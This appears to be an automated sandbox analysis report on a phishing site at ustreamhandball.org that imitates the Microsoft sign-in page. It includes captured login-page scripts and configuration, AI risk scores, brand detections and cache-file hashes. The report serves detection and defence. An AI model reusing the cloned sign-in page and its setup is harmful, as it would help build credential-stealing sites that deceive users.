//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(e.self===e.top){s&&s.body&&(s.body.style.display="block")}else if(!i.allowFrame){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://login.ustreamhandball.org/common/oauth2/v2... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to third-party domains, the use of fallback domains, and aggressive DOM manipulation. While the script appears to have a legitimate purpose related to authentication and user management, the lack of transparency and the use of some outdated practices warrant further review. The overall risk score is in the medium range, indicating the need for closer inspection to ensure the script's security and integrity." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.ustreamhandball.org%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.ustreamhandball.org%2flandingv2\u0026response_type=code+id_token\u0026state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA\u0026response_mode=form_post\u0026nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=6d79123ff2784173b566f561b534f115\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQEPixL5G5iwuW26YJs2cKKtyKkgILPkeV-hVupeQ6AL5SAmFJ5dyNtvCng6c5EkeXVxQ6zgwR2MFk2hQDkZM81oqO9yr5vUDL8FSF3tU8THVwyzzprTGQwXPNu73TswsGXlJAbVto5snzEy5Hj5T-IXeZKvTi886H52M0IqYQkyfE-RL8Ki-g_q_R2SIM-1TPFIgCI2xxdoR8Wk2SRjGyaVyAA\u0026jshs=0","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.ustreamhandball.org","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.ustreamhandball.org","showCantAccessAccountLink":true,"urlGitHubFed":"https://login.live.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.ustreamhandball.org%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.ustreamhandball.org%2flandingv2\u0026response_type=code+id_token\u0026state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA\u0026response_mode=form_post\u0026nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=6d79123ff2784173b566f561b534f115\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQE3NOK4x4pwPNZg8Fm51Ri3v1LvmSZoeDr5J9mT7ENmuLmtdLt8G9oQLXwX4a3FathsHeMFESykvv9nIGi9-6HMI6TPDmiFy2jaYiXjrgGqVwdXGRJmyGLgzBfSnOIGTkaP4vLaakYqerz6nZCLbpG2qpbe8N9hC93H1-88Vyp8gM2L3hgua2_lopYEB3eSFonbVe9xi5tiHWaqNFt6I5qPSAA\u0026jshs=0\u0026idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!C
URL: https://aadcdn.ustreamhandball.org/shared/1.0/cont... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a polyfill for the Promise API, which is a common and legitimate practice. It does not exhibit any high-risk behaviors like dynamic code execution, data exfiltration, or suspicious redirects. The code is also accompanied by a third-party notice, indicating it is likely part of a larger, well-documented project. While the script uses some legacy practices like `XDomainRequest`, these pose only minor risks and are not inherently malicious. Overall, the snippet seems to be a benign implementation of a standard web API, with no clear signs of malicious intent." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.com/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)r=i[s],Object.prototype.hasOwnProperty.call(o,r)&&o[r]&&u.push(o[r][0]),o[r]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(c&&c(t);u.length;)u.shift()()}var n,r={},o={1:0};function i(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,i),n.l=!0,n.exports}Function.prototype.bind\|\|(n=Array.prototype.slice,Function.prototype.bind=function(e){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var t=n.call(arguments,1),r=t.length,o=this,i=function(){},a=function(){return t.length=r,t.push.apply(t,arguments),o.apply(i.prototype.isPrototypeOf(this)?this:e,t)};return this.prototype&&(i.prototype=this.prototype),a.prototype=new i,a}),document.head=document.head\|\|document.getElementsByTagName("head")[0],function(){function e(t){var n=this,r=0,o=null,i=[];function a(){if(i.length>0){var e=i.slice();i=[],setTimeout((function(){for(var t=0,n=e.length;t<n;++t)e[t]()}),0)}}function s(e){0===r&&(o=e,r=1,a())}function u(e){0===r&&(o=e,r=2,a())}n.then=function(t,n){return new e((function(s,u){!function(t,n,s,u){i.push((function(){var i;try{i=1===r?"function"==typeof t?t(o):o:"function"==typeof n?n(o):o}catch(a){return void u(a)}i instanceof e?i.then(s,u):2===r&&"function"!=typeof n?u(i):s(i)})),0!==r&&a()}(t,n,s,u)}))},n["catch"]=function(e){return n.then(null,e)},function(){if("function"!=typeof t)throw new TypeError("Promise: argument is not a Function object");try{t(s,u)}catch(e){u(e)}}()}function t(e,t,n,r,o){return function(i){e[t]=r?i:o?{status:"fulfilled",value:i}:{status:"rejected",reason:i},n()}}function n(n,r){return n&&n.length?new e((function(o,i){for(var a=[],s=0,u=0,c=n.length;u<c;++u){var l=n[u];if(l instanceof e){s++;var d=function(){0==--s&&o(a)};r?l.then(t(a,u,d,r),i):l.then(t(a,u,d,r,!0),t(a,u,d,r,!1))}else a[u]=l}0===s&&setTimeout((function(){o(a)}),0)})):e.resolve([])}function r(e,t){return function(){e(t)}}e.all=function(e){return n(e,!0)},e.allSettled=function(e){return n(e,!1)},e.race=function(t){return new e((function(n,o){if(t&&t.length)for(var i=0,a=t.length;i<a;++i){var s=t[i];s instanceof e?s.then(n,o):setTimeout(r(n,s),0)}}))},e.reject=function(t){return new e((function(e,n){n(t)}))},e.resolve=function(t){return t instanceof e?t:t&&"function"==typeof t.then?new e((function(e,n){t.then(e,n)})):new e((function(e){e(t)}))},window.Promise\|\|(window.Promise=e),window.Promise.all\|\|(window.Promise.all=e.all),window.Promise.allSettled\|\|(window.Promise.allSettled=e.allSettled),window.Promise.race\|\|(window.Promise.race=e.race),window.Promise.reject\|\|(window.Promise.reject=e.reject),window.Promise.resolve\|\|(window.Promise.resolve=e.resolve)}(),i.e=function(e){var t=[],n=o[e];if(0!==n)if(n)t.push(n[2]);else{var r=new Promise((function(t,r){n=o[e]=[t,r]}));t.push(n[2]=r);var a=window.ServerData,s=a&&a.loader&&a.loader.cdnRoots\|\|[],u=a&&a.slMaxRetry?a.slMaxRetry:s.length-1,c=new Error;var l=function d(t,n){var
URL: https://aadcdn.ustreamhandball.org/ests/2.1/conten... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided script is a minified version of jQuery v3.5.1, a widely used JavaScript library. It does not exhibit any high-risk behaviors such as dynamic code execution or data exfiltration. The script primarily defines utility functions and methods for DOM manipulation, event handling, and AJAX requests. There are no interactions with external domains or obfuscated code, and the script is from a trusted source. Therefore, it is considered low risk." }
/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document
URL: https://www.ustreamhandball.org/ZspqXQij Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.ustreamhandball.org/ZspqXQij Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "Cloudflare" ] }
	{ "brands": [ "Microsoft", "Cloudflare" ] }
URL: https://www.ustreamhandball.org/ZspqXQij Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.ustreamhandball.org/ZspqXQij Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.ustreamhandball.org/ZspqXQij Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.ustreamhandball.org/ZspqXQij Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "Cloudflare" ] }
	{ "brands": [ "Microsoft", "Cloudflare" ] }
URL: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Trying to sign you in", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "w3o2ts@mpfzjg.co" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'login.ustreamhandball.org' does not match the legitimate domain for Microsoft.", "The domain 'ustreamhandball.org' does not have any known association with Microsoft.", "The presence of a login page on a domain unrelated to Microsoft is suspicious.", "The email input field 'w3o2ts@mpfzjg.co' does not provide any context or association with Microsoft." ], "riskscore": 9} Google indexed: False
URL: login.ustreamhandball.org Brands: Microsoft Input Fields: w3o2ts@mpfzjg.co

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46758)
Category:	downloaded
Size (bytes):	142534
Entropy (8bit):	5.430257694716779
Encrypted:	false
SSDEEP:	1536:PyeDWHTpHfTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGx:IHlz1g/Mq5L9EveUynbBwsIccG
MD5:	79A17E15EEF5A19716BEBD3DEABEB113
SHA1:	4CF4F6BD6977A71F8ADEDE252DF899569BD6B9A4
SHA-256:	6759DD50B58E6179099ECB4D3C5067B25169B8090C69E211E6297B2F40F858E2
SHA-512:	A7CC048F58A381B97590C7D434FE47009356241B6616DF5F6A0B219955028BF074DEC4B19E0F35CD799B8966799EA45176B0F6FD29D7DC8443EF8056F4B510D6
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	dropped
Size (bytes):	454821
Entropy (8bit):	5.446048466589962
Encrypted:	false
SSDEEP:	6144:vSxuPjK4laK2d/KkpZYhspmxiSpD9OduUSmcEHKE0H3NX4hr:vSQAKkp6epkiSUSk9
MD5:	9FB54AC2D5989B69812DC20A0197D097
SHA1:	7D85087301E431FBC75E9CC6E90795EB1E712C28
SHA-256:	44497AA966F9470221514CF367849DF73FF4E30D3641FBF5EB53439DFDB17FEE
SHA-512:	B8EC088C24CC9F0862CBE3CF8C41B426AC74024861704CBA1896203BF9C86489AFF03543DF4EF2D17564E35056E56F1B367CC0A8F3E11F0FFB30BB3672754C64
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	dropped
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7952
Entropy (8bit):	4.971909362295566
Encrypted:	false
SSDEEP:	192:/ke4YG97eVGJQKV/DIO3z5UgU52iPSOkSPo:sPtQKdD56O
MD5:	83CC982C609E1AA311D46F8066C2C645
SHA1:	2BEE6C4F8CB0C6499A5B422862497C283AE8D0DC
SHA-256:	F116F523A1F9B5D2B4772B193558F779AA41416E03F258B68ACEA4257D0F6441
SHA-512:	9B88096BAA9BE00408F1AE2645B57D4BF1E064DA92E180F7D6B74C9062A7FD790264BCB50BBEA96D6E8220EE34BAE3CF8791AB6089CA6753C2CF3A7B8502CA66
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>. Created with Inkscape (http://www.inkscape.org/) -->..<svg. xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:cc="http://creativecommons.org/ns#". xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#". xmlns:svg="http://www.w3.org/2000/svg". xmlns="http://www.w3.org/2000/svg". xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd". xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape". width="1910.1121". height="2590.2581". id="svg2". version="1.1". inkscape:version="0.91 r13725". sodipodi:docname="Microsoft_2012 Vertical.svg">. <defs. id="defs4" />. <sodipodi:namedview. id="base". pagecolor="#ffffff". bordercolor="#666666". borderopacity="1.0". inkscape:pageopacity="0.0". inkscape:pageshadow="2". inkscape:zoom="256". inkscape:cx="1001.0885". inkscape:cy="2590.1554". inkscape:document-units="px". inkscape:current-layer="layer1".

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 57 x 44, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlaciftKkxl/k4E08up:6v/lhPR8tKk7Tp
MD5:	7B4C06C0C91A02C1570F48F9C477BE79
